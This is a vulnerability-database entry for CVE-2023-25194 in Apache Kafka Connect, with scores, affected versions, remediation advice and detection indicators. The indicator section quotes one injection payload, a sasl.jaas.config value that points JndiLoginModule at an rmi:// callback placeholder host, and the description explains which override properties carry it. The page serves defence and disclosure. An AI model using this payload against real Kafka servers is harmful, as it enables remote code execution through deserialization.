cbcvebase.
CVE-2023-25194
published 2023-02-07

CVE-2023-25194: A possible security vulnerability has been identified in Apache Kafka Connect API. This requires access to a Kafka Connect worker, and the ability to…

PriorityP189high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
95.30%
99.9th percentile
A possible security vulnerability has been identified in Apache Kafka Connect API. This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka Connect 2.3.0. When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config` property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the `producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties. This will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath. Since Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box configurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector client override policy that permits them. Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka Connect 3.4.0. We advise the Kafka Connect users to validate connector configurations and only allow trusted JNDI configurations. Also examine connector dependencies for vulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation.

Affected

3 ranges
VendorProductVersion rangeFixed in
apachekafka2.0.0 – 3.3.2
apachekafka_connect2.3.0 – 3.3.2
apache_software_foundationapache_kafka2.0.0 – 3.3.2

Detection & IOCsextracted from sources · hover to see the quote

commandsasl.jaas.config=com.sun.security.auth.module.JndiLoginModule required user.provider.url="rmi://{{interactsh-url}}:6666/test" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";
othersasl.mechanism: SCRAM-SHA-256 / security.protocol: SASL_SSL
othercom.sun.security.auth.module.JndiLoginModule
  • Detect POST requests to /druid/indexer/v1/sampler containing 'JndiLoginModule' in the JSON body, indicating JNDI injection exploitation attempt via the Kafka Connect sampler endpoint.
  • Alert on any Kafka connector configuration (via REST API) where sasl.jaas.config, producer.override.sasl.jaas.config, consumer.override.sasl.jaas.config, or admin.override.sasl.jaas.config is set to 'com.sun.security.auth.module.JndiLoginModule'.
  • Monitor for outbound LDAP or RMI connections originating from Kafka Connect or Apache Druid worker processes, which may indicate successful JNDI callback to an attacker-controlled server.
  • Match HTTP response body containing 'RecordSupplier' combined with HTTP 400 status on POST to /druid/indexer/v1/sampler as a positive exploitation indicator (as used in the Nuclei template).
  • Check for DNS interaction callbacks (OOB/OAST) triggered by the target server after receiving a crafted sampler request, confirming JNDI lookup execution.
  • ·Exploitation is only possible on Kafka Connect clusters where connector client override policy permits setting sasl.jaas.config. Since Apache Kafka 3.0.0 this is allowed by default; before 3.0.0 the cluster must have been explicitly reconfigured.
  • ·Since Apache Kafka 3.4.0, 'com.sun.security.auth.module.JndiLoginModule' is disabled by default and the system property '-Dorg.apache.kafka.disallowed.login.modules' can be used to block additional problematic modules.
  • ·The vulnerability scope extends beyond Kafka Connect to Apache Kafka brokers themselves (tracked as CVE-2025-27819); exploitation of brokers requires AlterConfigs permission on the cluster resource.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
ghsa8.8HIGH
osv8.8HIGH
vulncheck8.8HIGH
vendor_oracle8.8HIGH
vendor_redhat8.8HIGH
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